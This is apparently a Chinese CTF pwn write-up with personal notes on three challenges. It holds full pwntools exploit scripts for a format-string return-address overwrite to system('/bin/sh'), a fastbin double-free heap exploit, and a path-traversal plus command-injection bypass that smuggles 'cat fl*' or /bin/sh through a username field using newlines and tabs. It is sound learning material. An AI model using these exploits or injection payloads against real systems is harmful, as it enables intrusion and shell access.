​ 和哥几个打的这个比赛,虽然只做出了几道题,但是还有几道其实也都差不多了,思路都没问题,还是因为细节的问题,对原理的掌握不够深入导致的问题,还得再好好打基础和巩固.

fooooood

​ 这道格式化字符串题给自己整的太恶心了..主要是很久不做格式化字符串了,然后当时理解的没那么深入,有些小问题就卡死了…

​ 非栈上的格式化字符串利用, 看到一种方法是可以利用栈上已有的指针,当时也用了,不过不知道为什么利用格式化字符串写数据的时候有问题….回头再专门学一下

​ 这是一条可以利用的链

​ 感觉自己的思路是没有问题的,但是对格式化字符串的一些利用的小点不是很熟悉,就导致了问题

image-20230605163719082

image-20230605172305883

exp

​ 主要分了几部分,先把for循环的i改大一点,因为要循环很多次,然后还要地址泄露,再之后呢,写一个格式化字符串的替换函数,把返回地址修改了就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *
context(os='linux',log_level='debug')
libc = ELF('/home/ubuntu/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
io = process("./pwn")
context.terminal = ['tmux', 'splitw', '-h']


gdb.attach(io)

io.recvuntil("Give me your name:")
io.sendline("test")
io.recvuntil("favourite food: ")
io.sendline("%11$p")
io.recvuntil("You like ")
#data = (io.recvline().strip()).decode().split('.')
rsp = int(io.recvuntil('!?')[:-2],16)-248
print(hex(rsp))
i = rsp+4
i_off = i&0xffff
print(hex(i_off))
payload = b'%'+str(i_off).encode()+b'c%11$hn'
print(payload)
io.sendlineafter('food: ',payload)
payload = b'%'+str(40).encode()+b'c%37$hhn'
sleep(1)
io.sendlineafter('food: ',payload)
# 泄露libc
payload = b'%9$p'
io.sendlineafter('food: ',payload)
io.recvuntil("You like ")
libc.address = int(io.recvuntil('!?')[:-2],16) - 240- libc.sym.__libc_start_main
#简单的格式化字符串利用函数,将dest地址的后8字节循环更改成ptr对应的字节,off1与off2为上述 (1)与(2)两个栈地址在格式化字符串中的偏移


def overlap(dest,ptr,off1,off2):
d = dest&0xff
for i in range(8):
if not ptr:
break
payload=b'%'+str(d).encode()+b'c%'+str(off1).encode()+b'$hhn'
io.sendlineafter('food: ',payload)
f=ptr&0xff
payload=b'%'+str(f).encode()+b'c%'+str(off2).encode()+b'$hhn'
io.sendlineafter('food: ',payload)
d+=1
ptr>>=8
ret=rsp+0x18
ptr=libc.address+0x21112


payload = b'%'+str(ret&0xffff).encode()+b'c%'+str(25).encode()+b'$hn'
io.sendlineafter('food: ',payload)
pause()
# 覆盖返回地址
overlap(ret,ptr,25,39)

overlap(ret+8,libc.search(b'/bin/sh').__next__(),25,39)
overlap(ret+16,libc.sym.system,25,39)


io.sendlineafter('food: ',payload)
io.interactive()

​ 自己之前的exp..回头检查下是哪的问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
context(os='linux',log_level='debug')
mylibc = ELF('/home/ubuntu/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
io = process("./pwn")
context.terminal = ['tmux', 'splitw', '-h']


gdb.attach(io)

io.recvuntil("Give me your name:")
io.sendline("test")
io.recvuntil("favourite food: ")
io.sendline("%31$p.%21$p")
io.recvuntil("You like ")
data = (io.recvline().strip()).decode().split('.')
print(data)
#pause()

#libc_addr = int(data[3],16)-0x20840
first_addr = int(data[0],16)
print(hex(first_addr))
#pause()
#print(hex(libc_addr))
#print(hex(ret_addr))
#onegadget = libc_addr + 0x45226
#pause()
payload = fmtstr_payload(31,{0x7fffff:0x7fffff})
print(payload)
#payload = b"%58248c%31$n"
payload = b"%.26204x%30$n"

#pause()
io.recvuntil("favourite food: ")
io.sendline(payload)
io.recvuntil("You like ")
pause()
io.interactive()

​ 存储备忘的信息

%10$p.%15$p.aaa

%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.

0x7fffffffbdc0.0x7ffff7dd3780.0x7ffff7b043c0.0x7ffff7ff6700.0x9.0x1ffffe540.0xc144e077e3cf5200.0x555555554b60.0x7ffff7a2d840.(nil).37

为什么不按顺序了…

0x7fffffffbdc0.0x7ffff7dd3780.0x7ffff7b043c0.0x7ffff7ff6700.0x9.0x3ffffe540.0xb1fb67251108900.0x555555554b60.0x7ffff7a2d840.(nil).0x7fffffffe548test’

%12$p.%13$p.%14$p.%15$p.aaa

0x1f7ffcca0.0x555555554a67.(nil).0x7da3d3a4544d517e.aaa37

%16$p.%17$p.%18$p.%19$p.aaa

x555555554820.0x7fffffffe540.(nil).(nil).aaa

%20$p.%21$p.%22$p.%23$p.aaa

0x4f7197cdb841edfc.0x4f718777df51edfc.(nil).(nil).aaa

%24$p.%25$p.%26$p.%27$p.aaa

(nil).0x7fffffffe558.0x7ffff7ffe168.0x7ffff7de780b.aaa

%28$p.%29$p.%30$p.%31$p.aaa

(nil).(nil).0x555555554820.0x7fffffffe540.aaa

%32$p.%33$p.%34$p.%35$p.aaa

(nil).0x555555554849.0x7fffffffe538.0x1c.aaa

%36$p.%37$p.%38$p.%39$p.aaa

0x1.0x7fffffffe79c.(nil).0x7fffffffe7ba.aaa

0x7fffffffe388

0xffffe388

0xe388

11个位置 -0xd0

https://blog.csdn.net/qq_52877079/article/details/129756543

https://www.anquanke.com/post/id/184717

easynote

​ 简单的一道菜单堆题,看的时候很眼熟很眼熟,果然是之前做过的,只是稍微改动

https://xuanxuanblingbling.github.io/ctf/pwn/2020/02/02/paper/

​ 开启了pie,那就用largebin smallbin的main_arena来泄露地址,

​ 这里有个小坑,就是接收返回地址的时候一直接收不到,注意这是因为先接收到了\n,用recv应该是接收到\n为止? 所以可以用多个recv或者recvuntil,

​ malloc有检测,回头分析源码的时候可以具体看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *

elf = "./pwn"

context.log_level= "debug"

p = process(elf)
#p = remote("node4.buuoj.cn",25350)
context.terminal = ['tmux', 'splitw', '-h']
#gdb.attach(p)
def add(size,content):
p.sendlineafter('5. exit', '1')
p.sendlineafter('The length of your content --->', str(size))
p.sendlineafter('Content --->', content)

def edit(index, size,content):
p.sendlineafter('5. exit', '2')
p.sendlineafter('Index --->', str(index))
p.sendlineafter('The length of your content --->', str(size))
p.sendlineafter('Content --->', content)


def show(index):
p.sendlineafter('5. exit', '4')
p.sendlineafter('Index --->', str(index))


def delete(index):
p.sendlineafter('5. exit', '3')
p.sendlineafter('Index --->', str(index))

add(0x30,"aaa")
add(0x30,"bbb")
delete(0)
delete(1)
delete(0)

add(0x50,"xielu")
add(0x100,"dizhi") # 3 泄露地址用
add(0x50,"hebing") # 防止合并
delete(3)
show(3)
p.recvuntil("Content: ")
libc_addr = u64(p.recv(6).ljust(8,b"\x00")) - 0x3c4b78
print(hex(libc_addr))


# fastbin double free修改
add(0x30,p64(0x602022))
add(0x30,"a")
add(0x30,"b")
#pause()
add(0x30,b"\x40\x00\x00\x00\x00\x00"+p64(libc_addr+0x4527a))

p.interactive()

server

​ 当时做的时候没想到栈的重叠的问题,单纯过滤肯定是没戏的.咋说捏,只会一些传统的套路是不行的,那只是基础,要在此之上更上一个纬度,看清事物的本质,学会变通才能应对更复杂的情况.

​ 对此题的反思就是,首先还是基础,要打好基础,打好操作系统原理的基础,如果懂这个的话,估计其实很容易想到重叠的问题.然后再培养细心以及一些自动化工具帮你寻找类似的点.

思路一

​ access校验的长度有限,为32

1
2
3
4
5
6
7
snprintf(name, 0x20uLL, "/keys/%s.key", s);


这个长度是27,加上/keys就是32
../../../../../././bin/sh #

/keys/../../../../../././bin/sh 最后access的是这个文件,肯定是存在的

​ 然后就是命令拼接了,存在未初始化漏洞,栈上有残留数据

​ 第二次输入个单引号就好了, \n也可以作为命令分隔符,所以前面那个add_user -u ‘’就是没用的了,直接执行后面的/bin/sh了

​ 过滤 ; & ` | $ 空格 ( ) {} - / \

​ 这个不用写脚本,

1
2
3
4
5
6
7
8
9
10
11
12
第一次选1,输入
../../../../../././bin/sh #
然后选2,输入
'
然后就闭合了,就可以getshell了

"add_user -u '%s' -p '888888'"



0x555555555748 call system@plt <system@plt>
command: 0x7fffffffe410 ◂— "add_user -u ''\n/bin/sh #' -p '888888'"

思路二

1
'\ncat\tfl*\n

​ 这里也用到覆盖了,看exp就可以理解了,exp的12就是随便输入的,后面的’\n会替代

​ 过滤的空格可以用\t替代

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

elf = "./pwn_7"

context.log_level= "debug"

p = process(elf)
#p =remote("node4.buuoj.cn", 25471)
context.terminal = ['tmux', 'splitw', '-h']
#gdb.attach(p)

p.recvuntil("Your choice >>")
p.sendline("1")
p.recvuntil("Please input the key of admin : ")
p.sendline(b"../../../../../../../../../")
print(p.recv())
p.recvuntil("Your choice >>")
p.sendline("2")
p.recvuntil("Please input the username to add :")
payload = b"xxcat\tfl*\n"
p.sendline(payload)
p.recv(1024)
p.recv(1024)
p.recvuntil("Your choice >>")
p.sendline("2")
p.recvuntil("Please input the username to add :")
payload = b"'"
p.sendline(payload)
print(p.recv(1024))
print(p.recv(1024))
p.interactive()

​ 能不能’cat\tfl*\n呢,不能呀,,需要有个\n,但是没有,也没有; 没有分隔符没办法执行两条命令,这个必须要\n的 \t不行吗,不行…….

https://blog.51cto.com/u_15400016/4287727

https://www.secpulse.com/archives/96374.html

问题

用recv应该是接收到\n为止? 所